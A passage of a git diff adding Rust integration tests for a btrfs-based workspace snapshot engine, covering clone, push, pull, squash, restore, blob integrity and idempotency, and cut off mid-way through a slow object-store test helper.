commit_and_push(&e, &src).await; + + let dst = ws("karthik", "ws-clone-dst"); + e.clone_local(&src, &dst).await.unwrap(); + assert_eq!(hash_tree(&e.pool.live(&dst.id)), hash_tree(&e.pool.live(&src.id))); + + // A push after clone on either side must not affect the other (isolation). + std::fs::write(e.pool.live(&dst.id).join("only-dst.txt"), b"dst").unwrap(); + commit_and_push(&e, &dst).await; + assert!(!e.pool.live(&src.id).join("only-dst.txt").exists()); + + // Clone inherits blobs (no re-upload); the inherited entry was already registered under + // SRC's own history and is never separately re-posted under dst's — a `CommitRecord` + // embeds its full lineage prefix (never depends on another record), so dst's ONE new push + // record is self-sufficient for a cold pull/restore of dst without the inherited entry + // needing its own row in dst's history. + let dst_recs = history(&base, &dst.owner, &dst.id).await; + assert_eq!(dst_recs.len(), 1, "dst's own new push, self-sufficient via its embedded lineage prefix"); +} + +/// LOCAL-FIRST clone: `src` has never pushed (or even snapshotted) at all — no `push`, no +/// snapshot, just a live subvolume with a write in it — yet `clone_local` still succeeds: no +/// registry call, dst tree byte-identical to src's live subvolume, and dst starts equally +/// lineage-less. Then dst's own push works from that lineage-less state. +#[tokio::test] +async fn clone_of_never_pushed_workspace_is_local() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let src = ws("karthik", "ws-clone-nopush-src"); + init_live_subvol(&e.pool, &src.id); + std::fs::write(e.pool.live(&src.id).join("base.txt"), b"base").unwrap(); + assert!(e.pool.lineage(&src.id).is_empty(), "src has no snapshot at all yet"); + + let dst = ws("karthik", "ws-clone-nopush-dst"); + e.clone_local(&src, &dst).await.unwrap(); // must succeed locally, no push required first + + assert_eq!(hash_tree(&e.pool.live(&dst.id)), hash_tree(&e.pool.live(&src.id))); + assert!(e.pool.lineage(&dst.id).is_empty(), "dst inherits src's lineage-less state verbatim"); + + // No registry call: dst has no history until its own push. + assert!(history(&base, &dst.owner, &dst.id).await.is_empty()); + + // dst's own push still works from here. + e.push(&dst, None).await.unwrap(); + let dst_recs = history(&base, &dst.owner, &dst.id).await; + assert_eq!(dst_recs.len(), 1); +} + +/// Clone-of-the-clone: dst2 clones from dst, and neither src nor dst has ever pushed or +/// snapshotted — still all local, still byte-identical. +#[tokio::test] +async fn clone_of_the_clone_still_nothing_pushed_stays_local() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let src = ws("karthik", "ws-clone2-src"); + init_live_subvol(&e.pool, &src.id); + std::fs::write(e.pool.live(&src.id).join("base.txt"), b"base").unwrap(); + + let dst = ws("karthik", "ws-clone2-dst"); + e.clone_local(&src, &dst).await.unwrap(); + + let dst2 = ws("karthik", "ws-clone2-dst2"); + e.clone_local(&dst, &dst2).await.unwrap(); + + assert_eq!(hash_tree(&e.pool.live(&dst2.id)), hash_tree(&e.pool.live(&src.id))); + assert!(e.pool.lineage(&dst2.id).is_empty()); + assert!(history(&base, &dst2.owner, &dst2.id).await.is_empty()); +} + +#[tokio::test] +async fn size_and_chain_triggers_fire_and_settle_to_grafted_block() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let mut e = engine(lp.pool(), store.clone(), meta.clone(), &base); + e.squash_mb = 1; // 1MB trigger, not the 256MB default, for test speed + e.chain_max = 3; // chain trigger, not the default 50 + + let w = ws("karthik", "ws-squash"); + init_live_subvol(&e.pool, &w.id); + + // Push past the chain trigger (chain_max = 3); the child spawn is skipped in this test + // binary (it has no "squash" subcommand — Task 9 wires that), so assert the trigger + // message/latch and drive settling with a direct `Engine::squash` call instead of waiting + // on a child. + let mut triggered = false; + for i in 0..5 { + std::fs::write(e.pool.live(&w.id).join(format!("f{i}.txt")), format!("v{i}")).unwrap(); + let out = commit_and_push(&e, &w).await; + if let Some(r) = out.squash_triggered { + assert!(r.contains("chain") || r.contains("MB"), "unexpected trigger reason: {r}"); + triggered = true; + break; + } + } + assert!(triggered, "chain trigger never fired within 5 pushes past chain_max=3"); + + let latch = e.pool.root.join("vol").join(format!("{}.squashing", w.id)); + assert!(latch.exists(), "latch file must exist once a squash is triggered"); + + // A second push while the latch is held must not spawn a second squash (message says so). + std::fs::write(e.pool.live(&w.id).join("late.txt"), b"late").unwrap(); + let out2 = commit_and_push(&e, &w).await; + if let Some(r) = &out2.squash_triggered { + assert!(r.contains("already running"), "second trigger should be suppressed by the latch: {r}"); + } + + let expected = hash_tree(&e.pool.live(&w.id)); + + // Settle inline instead of waiting on the (nonexistent-in-this-binary) detached child. + e.squash(&w.owner, &w.id, serde_json::Value::Null).await.unwrap(); + assert!(!latch.exists(), "squash must remove its own latch when done"); + // The build image is disposable the moment its bytes are uploaded — keeping it grew the pool + // by one full workspace image per squash, and the janitor cannot reclaim it by lineage + // (the new lineage references it). + assert_eq!( + std::fs::read_dir(e.pool.img_dir()).map(|d| d.count()).unwrap_or(0), + 0, + "squash must delete its build image after upload" + ); + assert!( + std::fs::read_dir("/tmp").into_iter().flatten().flatten().all(|d| !d.file_name().to_string_lossy().starts_with("wssquash-")), + "squash must leave no throwaway mount directory behind" + ); + + let lineage = e.pool.lineage(&w.id); + assert_eq!(lineage[0].kind, rustic_git_workspaces::model::LayerKind::Block); + assert!( + lineage.iter().skip(1).all(|l| l.kind == rustic_git_workspaces::model::LayerKind::Stream), + "post-tip pushes must graft as streams onto the new block base" + ); + assert!(lineage.iter().all(|l| !l.unpushed), "squash's own push must clear every mark"); + + // Cold pull from the settled lineage must reproduce the same tree. + let dst = LoopbackPool::new(); + let dst_engine = engine(dst.pool(), store, meta, &base); + dst_engine.pull(&w).await.unwrap(); + assert_eq!(hash_tree(&dst_engine.pool.live(&w.id)), expected); +} + +#[tokio::test] +async fn corrupt_blob_fails_pull_with_sha_mismatch() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let src = LoopbackPool::new(); + let dst = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let src_engine = engine(src.pool(), store.clone(), meta.clone(), &base); + + let w = ws("karthik", "ws-corrupt"); + init_live_subvol(&src_engine.pool, &w.id); + std::fs::write(src_engine.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + let out = commit_and_push(&src_engine, &w).await; + + // Flip a byte in the uploaded blob directly in the InMemory store. + let key = object_store::path::Path::from(format!("layers/{}.zst", out.layer)); + let mut bytes = store.get(&key).await.unwrap().bytes().await.unwrap().to_vec(); + let last = bytes.len() - 1; + bytes[last] ^= 0xFF; + store.put(&key, bytes.into()).await.unwrap(); + + let dst_engine = engine(dst.pool(), store, meta, &base); + let err = dst_engine.pull(&w).await.unwrap_err(); + assert!(err.0.contains("sha mismatch"), "unexpected error: {}", err.0); +} + +#[tokio::test] +async fn clone_running_locks_briefly_and_is_byte_identical() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + // clone_running runs on one Engine/pool (this node's agent); the "source" and "clone" are + // both local subvolumes on it — cross-node clone is future work layered on top by the job + // system, not this engine call. + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let s = ws("karthik", "ws-clone-src"); + init_live_subvol(&e.pool, &s.id); + std::fs::write(e.pool.live(&s.id).join("base.txt"), b"base").unwrap(); + commit_and_push(&e, &s).await; + + // A writer thread keeps mutating the source concurrently, like a live container would. + let live = e.pool.live(&s.id); + let stop_writer = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let sw = stop_writer.clone(); + let writer = std::thread::spawn(move || { + let mut i = 0; + while !sw.load(std::sync::atomic::Ordering::Relaxed) { + let _ = std::fs::write(live.join(format!("churn{}.txt", i % 20)), format!("v{i}")); + i += 1; + std::thread::sleep(std::time::Duration::from_millis(2)); + } + }); + + let d = ws("karthik", "ws-clone-dst"); + + let stop = || -> Result<(), rustic_git_workspaces::engine::EngErr> { + stop_writer.store(true, std::sync::atomic::Ordering::Relaxed); + Ok(()) + }; + let start = || -> Result<(), rustic_git_workspaces::engine::EngErr> { Ok(()) }; + + let out = e.clone_running(&s, &d, &stop, &start).await.unwrap(); + writer.join().unwrap(); + + // Freeze the source's state (writer already stopped) for the identity comparison. + let expected = hash_tree(&e.pool.live(&s.id)); + assert!(out.locked < std::time::Duration::from_secs(2), "locked window too long: {:?}", out.locked); + assert_eq!(hash_tree(&e.pool.live(&d.id)), expected); +} + +#[tokio::test] +async fn push_captures_live_state_into_the_record() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let mut w = ws("karthik", "ws-state"); + w.live_state = serde_json::json!({"ports": [3000], "packages": ["node@22"]}); + init_live_subvol(&e.pool, &w.id); + std::fs::write(e.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + let out = commit_and_push(&e, &w).await; + + let recs = history(&base, &w.owner, &w.id).await; + let rec = recs.iter().find(|r| r.id == out.layer).unwrap(); + assert_eq!(rec.state, w.live_state); +} + +#[tokio::test] +async fn clone_pushes_the_destination_docs_own_live_state() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let mut src = ws("karthik", "ws-clone-state-src"); + src.live_state = serde_json::json!({"ports": [3000]}); + init_live_subvol(&e.pool, &src.id); + std::fs::write(e.pool.live(&src.id).join("base.txt"), b"base").unwrap(); + commit_and_push(&e, &src).await; + + // The source's doc drifts after that push — a later push would capture THIS value, not the + // one already durable in history. + src.live_state = serde_json::json!({"ports": [9999]}); + + // `clone_local` only ever copies FILES (the local-first lineage/subvolume); it never reads + // or writes `live_state` — that's `crates/workspaces/src/api.rs`'s `clone_ws` handler's job, + // which builds the destination doc with `live_state: src.live_state.clone()` (the source's + // CURRENT value at clone time, same "current state, not an old snapshot" rule clone already + // applies to file content — `restore` is the verb for an explicit past snapshot). Mirror + // that here since this test drives the engine directly, under the API. + let mut dst = ws("karthik", "ws-clone-state-dst"); + dst.live_state = src.live_state.clone(); + e.clone_local(&src, &dst).await.unwrap(); + + // `push` always captures the live doc's OWN `live_state` at push time (no more re-deriving + // it from an inherited lineage entry) — so dst's first push registers whatever `dst`'s own + // doc says, which the API set to src's state as of the clone request. + e.push(&dst, None).await.unwrap(); + let dst_recs = history(&base, &dst.owner, &dst.id).await; + assert_eq!(dst_recs.len(), 1); + assert_eq!(dst_recs[0].state, serde_json::json!({"ports": [9999]})); +} + +#[tokio::test] +async fn restore_returns_an_older_record_not_the_tip() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let src_pool = LoopbackPool::new(); + let dst_pool = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let src_engine = engine(src_pool.pool(), store.clone(), meta.clone(), &base); + + let mut w = ws("karthik", "ws-older"); + w.live_state = serde_json::json!({"packages": ["node@20"]}); + init_live_subvol(&src_engine.pool, &w.id); + + std::fs::write(src_engine.pool.live(&w.id).join("f.txt"), b"v1").unwrap(); + let older_out = commit_and_push(&src_engine, &w).await; + let older_commit_id = older_out.layer; + + // Advance past the older commit: change the file's content and the live state, then commit + // and push again so the ref tip no longer matches what we're about to restore. + std::fs::write(src_engine.pool.live(&w.id).join("f.txt"), b"v2-changed-after").unwrap(); + w.live_state = serde_json::json!({"packages": ["node@22"]}); + commit_and_push(&src_engine, &w).await; + + // `restore` (the engine call) only materializes FILES from the named snapshot; it never + // touches `live_state` — that's `crates/workspaces/src/api.rs`'s `restore_ws` handler's job, + // which builds the destination doc with `live_state` copied from the restored snapshot's OWN + // captured record (falling back to the source's current value only if the snapshot never + // recorded one). Mirror that here since this test drives the engine directly, under the API. + let mut dst = ws("karthik", "ws-from-older-snapshot"); + dst.live_state = serde_json::json!({"packages": ["node@20"]}); + let dst_engine = engine(dst_pool.pool(), store, meta.clone(), &base); + dst_engine.restore(&w.owner, &w.id, &older_commit_id, &dst.id, None).await.unwrap(); + + assert_eq!(std::fs::read(dst_engine.pool.live(&dst.id).join("f.txt")).unwrap(), b"v1"); + + // `push` always captures the live doc's OWN `live_state` at push time — dst's first push + // registers whatever `dst`'s doc says, which the API set to the restored snapshot's state. + // `restore` itself already staged the restored entry as unpushed (ready to register under + // dst's own history); the fused `push` takes ONE MORE fresh snapshot on top of that before + // uploading (see `ops.rs::push`'s doc — every push always snapshots, restore/clone-then-push + // included, even when nothing changed since materializing), so dst ends up with both: the + // restored entry plus dst's own redundant-but-harmless new one. + dst_engine.push(&dst, None).await.unwrap(); + let dst_recs = history(&base, &dst.owner, &dst.id).await; + assert_eq!(dst_recs.len(), 2, "the restored entry plus push's own fresh snapshot on top of it"); + assert_eq!(dst_recs[0].state, serde_json::json!({"packages": ["node@20"]})); +} + +/// `clone_running` routes local-first whenever `src`'s live subvolume is on the SAME pool as the +/// engine driving the clone — which the local-first path never fails on the registry for (it +/// never touches it). The only remaining real failure mode for "start must run even when the +/// clone errors" is the cross-node registry path (`clone_running_registry`), reached here by +/// putting `dst` on a genuinely SEPARATE pool from `src`: phase 1's prefetch still succeeds (a +/// real registry, `src` already pushed), but phase 2's `sync -f` targets `src`'s live path on +/// `dst`'s own pool — which was never mounted there — the same failure a truly remote source +/// would hit trying to stop/flush a container's mount it doesn't have. +#[tokio::test] +async fn clone_running_calls_start_even_when_the_registry_path_fails() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let src_pool = LoopbackPool::new(); + let dst_pool = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let src_engine = engine(src_pool.pool(), store.clone(), meta.clone(), &base); + + let s = ws("karthik", "ws-clone-fail-src"); + init_live_subvol(&src_engine.pool, &s.id); + std::fs::write(src_engine.pool.live(&s.id).join("base.txt"), b"base").unwrap(); + commit_and_push(&src_engine, &s).await; + + let d = ws("karthik", "ws-clone-fail-dst"); + + // `dst_engine`'s pool has no local copy of `src` at all, so `clone_running` must take the + // registry path — `src`'s own pool is never consulted again once cloned this way. + let dst_engine = engine(dst_pool.pool(), store, meta, &base); + + let started = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let started_flag = started.clone(); + let stop = || -> Result<(), rustic_git_workspaces::engine::EngErr> { Ok(()) }; + let start = move || -> Result<(), rustic_git_workspaces::engine::EngErr> { + started_flag.store(true, std::sync::atomic::Ordering::Relaxed); + Ok(()) + }; + + let err = dst_engine.clone_running(&s, &d, &stop, &start).await.unwrap_err(); + assert!(started.load(std::sync::atomic::Ordering::Relaxed), "start() must run even when the clone errors"); + assert!(!err.0.is_empty()); +} + +/// A controller restart re-runs reconcile from scratch, so create/clone against a subvolume that +/// already exists must be a no-op, not an error that marks a healthy workspace Error. This is the +/// half of audit H2 that survives deleting the lease: without the lease there is no "one attempt at +/// a time" guarantee to lean on, only convergence. +#[tokio::test] +async fn create_and_clone_are_idempotent_against_an_existing_live_subvolume() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store.clone(), meta.clone(), &base); + + let src = ws("karthik", "ws-idem-src"); + + // create_subvol, twice. The marker proves the second call kept the FIRST subvolume rather + // than quietly replacing it — converging by deleting would be data loss dressed as success. + e.create_subvol(&src.id).unwrap(); + std::fs::write(e.pool.live(&src.id).join("keep.txt"), b"keep").unwrap(); + e.create_subvol(&src.id).expect("a replayed create must converge, not fail"); + assert_eq!( + std::fs::read(e.pool.live(&src.id).join("keep.txt")).unwrap(), + b"keep", + "a replayed create must leave the existing subvolume's contents alone" + ); + + // clone_local_ids, twice, against a source that has never pushed. + let dst = ws("karthik", "ws-idem-dst"); + e.clone_local_ids(&src.owner, &src.id, &dst.id).await.unwrap(); + std::fs::write(e.pool.live(&dst.id).join("dst-marker.txt"), b"dst").unwrap(); + e.clone_local_ids(&src.owner, &src.id, &dst.id) + .await + .expect("a replayed clone must converge, not fail"); + assert_eq!( + std::fs::read(e.pool.live(&dst.id).join("dst-marker.txt")).unwrap(), + b"dst", + "a replayed clone must not recreate a destination that already exists" + ); + assert_eq!( + std::fs::read(e.pool.live(&dst.id).join("keep.txt")).unwrap(), + b"keep", + "and the clone must still carry the source's content" + ); + // The failure mode this actually guards against, verified against btrfs-progs 6.6.3: neither + // `subvolume create` nor `subvolume snapshot` FAILS on an existing target — both exit 0. + // `create` merely prints an error, but `snapshot` silently nests a whole second subvolume at + // `{dst}/{basename(src)}`, i.e. `live/live`. That corrupts the destination invisibly: a nested + // subvolume cannot be `btrfs send`-ed, so the next push of this clone would fail, and no + // cleanup path knows the nested one exists. An exit code cannot catch this — only the absence + // of the nested path can. + assert!( + !e.pool.live(&dst.id).join("live").exists(), + "a replayed clone must not nest a second subvolume inside the destination" + ); +} + +/// The 27 Aug hang, as a test: a lineage whose blob is not in the store must come back as an +/// ERROR, promptly, and named. This one needs no btrfs — the failure is meant to happen before +/// anything touches a subvolume, which is also why the assertion can be "no `receive` ever ran". +#[tokio::test] +async fn a_missing_layer_blob_fails_fast_instead_of_hanging() { + let tmp = tempfile::tempdir().unwrap(); + let store: Arc = Arc::new(InMemory::new()); + // Port 1: nothing listens. `pull_raw` bypasses the registry entirely, so this is never called. + let e = engine(Pool::new(tmp.path()), store, Arc::new(MemStore::new()), "http://127.0.0.1:1"); + let lineage = vec![rustic_git_workspaces::model::LineageEntry { + kind: rustic_git_workspaces::model::LayerKind::Stream, + blob: "no-such-blob".into(), + snap: Some("no-such-snap".into()), + sha256: "0".repeat(64), + unpushed: false, + }]; + + let t0 = std::time::Instant::now(); + let err = e.pull_raw("vol-x", lineage).await.expect_err("a blob that is not there is an error"); + + assert!( + err.to_string().contains(rustic_git_workspaces::engine::ops::FETCH_FAILED), + "the failure must be the one the agent classifies as permanent: {err}" + ); + // Well inside `blob::GET_TIMEOUT`: an InMemory miss is answered, not waited out. The bound is + // what makes an UNANSWERED store finite too. + assert!(t0.elapsed() < std::time::Duration::from_secs(30), "took {:?}", t0.elapsed()); +} + +/// A restore naming a region this node has no credentials for is refused BEFORE the registry is +/// read — no store to read it from is a permanent fact about the deploy, not an outage. +#[tokio::test] +async fn a_restore_from_an_unknown_region_fails_by_name() { + let tmp = tempfile::tempdir().unwrap(); + let store: Arc = Arc::new(InMemory::new()); + let e = engine(Pool::new(tmp.path()), store, Arc::new(MemStore::new()), "http://127.0.0.1:1"); + + let err = e + .restore("alice", "env-1", "snap-1", "ws-2", Some("centralindia-vm")) + .await + .expect_err("no credentials for that region"); + let msg = err.to_string(); + assert!(msg.contains(rustic_git_workspaces::engine::ops::REGION_UNREACHABLE), "{msg}"); + assert!(msg.contains("centralindia-vm"), "the condition has to name the region: {msg}"); + + // The engine's own region always resolves, so a same-region restore gets as far as the + // registry (which is not listening here) rather than being refused for credentials. + let same = e.restore("alice", "env-1", "snap-1", "ws-2", Some(&e.region)).await.expect_err("no registry"); + assert!(!same.to_string().contains(rustic_git_workspaces::engine::ops::REGION_UNREACHABLE), "{same}"); +} + +/// The in-place restore's swap half: `live` becomes the restored snapshot, the bytes it replaced +/// survive as a local RO snapshot, and the restored lineage becomes this volume's own (or its next +/// push would delta against a history the disk no longer holds). +#[tokio::test] +async fn replace_live_swaps_the_subvolume_and_keeps_the_old_one() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta.clone(), &base); + + let w = ws("karthik", "ws-inplace"); + init_live_subvol(&e.pool, &w.id); + std::fs::write(e.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + commit_and_push(&e, &w).await; + let snapshot_id = history(&base, &w.owner, &w.id).await[0].id.clone(); + + // The change the restore is meant to discard. + std::fs::write(e.pool.live(&w.id).join("b.txt"), b"b").unwrap(); + + let staging = format!("{}-restoring", w.id); + e.restore(&w.owner, &w.id, &snapshot_id, &staging, None).await.unwrap(); + e.replace_live(&w.id, &staging).unwrap(); + + assert!(e.pool.live(&w.id).join("a.txt").exists()); + assert!(!e.pool.live(&w.id).join("b.txt").exists(), "the restore discards later changes"); + assert!(!e.pool.live(&staging).exists(), "the staging subvolume is not left behind"); + assert_eq!(e.pool.lineage(&w.id).len(), 1, "the restored lineage is the volume's own now"); + + // Rollback is a plain btrfs snapshot off this, by hand — which is the whole reason it is kept. + let safety: Vec<_> = std::fs::read_dir(e.pool.voldir(&w.id)) + .unwrap() + .filter_map(|d| d.ok()) + .filter(|d| d.file_name().to_string_lossy().starts_with("before-restore-")) + .collect(); + assert_eq!(safety.len(), 1, "exactly one safety snapshot"); + assert!(safety[0].path().join("b.txt").exists(), "the discarded state is still on disk"); +} + +/// Staging is torn down before it is built. `pull_core` treats an existing `live` as "already +/// converged", so bytes left behind by a restore that failed half-way would be swapped in by the +/// NEXT restore and labelled as ITS snapshot — the wrong data under the right name. +#[tokio::test] +async fn a_leftover_staging_subvolume_is_discarded_before_the_next_restore() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta.clone(), &base); + + let w = ws("karthik", "ws-stale-staging"); + init_live_subvol(&e.pool, &w.id); + std::fs::write(e.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + commit_and_push(&e, &w).await; + let snapshot_id = history(&base, &w.owner, &w.id).await[0].id.clone(); + + // What a failed restore leaves: a materialized staging subvolume holding the WRONG bytes. + let staging = format!("{}-restoring", w.id); + init_live_subvol(&e.pool, &staging); + std::fs::write(e.pool.live(&staging).join("stale.txt"), b"stale").unwrap(); + + e.discard_staging(&staging).unwrap(); + assert!(!e.pool.live(&staging).exists(), "the stale staging subvolume is gone"); + + e.restore(&w.owner, &w.id, &snapshot_id, &staging, None).await.unwrap(); + e.replace_live(&w.id, &staging).unwrap(); + assert!(e.pool.live(&w.id).join("a.txt").exists()); + assert!(!e.pool.live(&w.id).join("stale.txt").exists(), "the stale bytes must never reach live"); +} diff --git a/crates/workspaces/tests/engine_pool.rs b/crates/workspaces/tests/engine_pool.rs new file mode 100644 index 00000000..ed1dfb44 --- /dev/null +++ b/crates/workspaces/tests/engine_pool.rs @@ -0,0 +1,271 @@ +//! Engine pool/blob tests. The `upload_stream`/`get_bytes` round trip runs everywhere against +//! `InMemory`. Everything that touches btrfs is gated on `have_btrfs()` (root + the binary on +//! PATH) and skips cleanly on this Mac and on any non-root runner. + +use object_store::ObjectStore; +use object_store::memory::InMemory; +use rand::RngCore; +use rustic_git_workspaces::engine::blob; +use rustic_git_workspaces::engine::{Pool, have_btrfs, ws_lock}; +use rustic_git_workspaces::model::{LayerKind, LineageEntry}; +use std::io::Cursor; +use std::sync::Arc; + +#[tokio::test] +async fn upload_stream_roundtrip_text_is_compressed() { + let store: Arc = Arc::new(InMemory::new()); + let text = "the quick brown fox ".repeat(10_000); + let (raw, _clen, sha) = + blob::upload_stream(store.as_ref(), "layers/text.zst", Cursor::new(text.clone().into_bytes())) + .await + .unwrap(); + assert_eq!(raw, text.len() as u64); + + let got = blob::get_bytes(store.as_ref(), "layers/text.zst").await.unwrap(); + assert_eq!(got[0], b'z', "compressible payload must use zstd mode"); + let mut h = ::new(); + sha2::Digest::update(&mut h, &got); + assert_eq!(blob::sha_hex(h), sha); + + let mut dec = zstd::Decoder::new(&got[1..]).unwrap(); + let mut out = Vec::new(); + std::io::Read::read_to_end(&mut dec, &mut out).unwrap(); + assert_eq!(out, text.into_bytes()); +} + +#[tokio::test] +async fn upload_stream_roundtrip_random_is_raw() { + let store: Arc = Arc::new(InMemory::new()); + let mut payload = vec![0u8; 1 << 20]; + rand::thread_rng().fill_bytes(&mut payload); + let (raw, _clen, sha) = + blob::upload_stream(store.as_ref(), "layers/rand.zst", Cursor::new(payload.clone())) + .await + .unwrap(); + assert_eq!(raw, payload.len() as u64); + + let got = blob::get_bytes(store.as_ref(), "layers/rand.zst").await.unwrap(); + assert_eq!(got[0], b'r', "incompressible payload must skip zstd"); + assert_eq!(&got[1..], payload.as_slice()); + let mut h = ::new(); + sha2::Digest::update(&mut h, &got); + assert_eq!(blob::sha_hex(h), sha); +} + +#[test] +fn lineage_entry_encode_parse_roundtrip() { + let stream = LineageEntry { kind: LayerKind::Stream, blob: "b1".into(), snap: None, sha256: "abc".into(), unpushed: false }; + assert_eq!(stream.encode(), "s:b1:abc"); + assert_eq!(LineageEntry::parse(&stream.encode()).unwrap().encode(), stream.encode()); + assert_eq!(stream.snap_name(), "b1"); + + let block = LineageEntry { + kind: LayerKind::Block, + blob: "b2".into(), + snap: Some("s2".into()), + sha256: "def".into(), + unpushed: false, + }; + assert_eq!(block.encode(), "b:b2:s2:def"); + assert_eq!(LineageEntry::parse(&block.encode()).unwrap().encode(), block.encode()); + assert_eq!(block.snap_name(), "s2"); +} + +#[test] +fn unpushed_marker_survives_encode_parse_and_old_lines_default_to_pushed() { + let unpushed = LineageEntry { kind: LayerKind::Stream, blob: "b3".into(), snap: None, sha256: "ghi".into(), unpushed: true }; + assert_eq!(unpushed.encode(), "s:b3:ghi|u"); + let back = LineageEntry::parse(&unpushed.encode()).unwrap(); + assert!(back.unpushed); + assert_eq!(back.sha256, "ghi"); + + // A line written before commit/push existed has no `|u` suffix and must parse as pushed. + assert!(!LineageEntry::parse("s:b1:abc").unwrap().unpushed); +} + +/// A loopback btrfs pool backed by a truncated sparse image, mounted for the test and torn +/// down (unmount + remove) on drop. Root only — construction panics if mkfs/mount fail, which +/// is fine since callers only build this behind `have_btrfs()`. +struct LoopbackPool { + pool: Pool, + mount: std::path::PathBuf, + _tmp: tempfile::TempDir, +} + +impl LoopbackPool { + fn new() -> LoopbackPool { + let tmp = tempfile::tempdir().unwrap(); + let img = tmp.path().join("pool.img"); + let mount = tmp.path().join("mnt"); + std::fs::create_dir_all(&mount).unwrap(); + run(&["truncate", "-s", "2G", img.to_str().unwrap()]); + run(&["mkfs.btrfs", "-q", img.to_str().unwrap()]); + run(&["mount", "-o", "loop", img.to_str().unwrap(), mount.to_str().unwrap()]); + let pool = Pool::new(mount.clone()); + std::fs::create_dir_all(pool.recv()).unwrap(); + std::fs::create_dir_all(pool.root.join("vol")).unwrap(); + LoopbackPool { pool, mount, _tmp: tmp } + } +} + +impl Drop for LoopbackPool { + fn drop(&mut self) { + let _ = std::process::Command::new("umount").arg(&self.mount).status(); + } +} + +fn run(argv: &[&str]) { + let st = std::process::Command::new(argv[0]).args(&argv[1..]).status().unwrap(); + assert!(st.success(), "{argv:?} failed"); +} + +#[test] +fn btrfs_snapshot_send_receive_roundtrip() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + + let src = LoopbackPool::new(); + let dst = LoopbackPool::new(); + + let ws = "wsa"; + std::fs::create_dir_all(src.pool.voldir(ws)).unwrap(); + run(&["btrfs", "subvolume", "create", src.pool.live(ws).to_str().unwrap()]); + std::fs::write(src.pool.live(ws).join("hello.txt"), b"hello from the source subvolume").unwrap(); + + let _lock = ws_lock(&src.pool, ws).unwrap(); + let snap_id = "snap-1"; + let snap_path = src.pool.recv().join(snap_id); + run(&[ + "btrfs", + "subvolume", + "snapshot", + "-r", + src.pool.live(ws).to_str().unwrap(), + snap_path.to_str().unwrap(), + ]); + drop(_lock); + + let mut child = blob::spawn_send(&snap_path, None).unwrap(); + let mut sent = Vec::new(); + std::io::Read::read_to_end(&mut child.stdout.take().unwrap(), &mut sent).unwrap(); + let out = child.wait_with_output().unwrap(); + assert!(out.status.success(), "btrfs send failed: {}", String::from_utf8_lossy(&out.stderr)); + + // Emulate the layer blob's leading mode byte with raw ('r') encoding, as `upload_stream` + // would produce for an incompressible payload. + let mut layer = vec![b'r']; + layer.extend_from_slice(&sent); + blob::receive_into(&dst.pool.recv(), &layer).unwrap(); + + let received = dst.pool.recv().join(snap_id).join("hello.txt"); + assert_eq!(std::fs::read(received).unwrap(), b"hello from the source subvolume"); +} + +/// An `InMemory` whose bodies arrive one slow chunk at a time — a throttled link, on paused time. +#[derive(Debug)] +struct SlowStore { + inner: InMemory, + chunk: usize, + gap: std::time::Duration, +} +impl std::fmt::Display for SlowStore { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "SlowStore") + } +} +#[async_trait::async_trait] +impl ObjectStore for SlowStore { + async fn put_opts( + &self, + p: &object_store::path::Path, + payload: object_store::PutPayload, + o: object_store::PutOptions, + ) -> object_store::Result { + 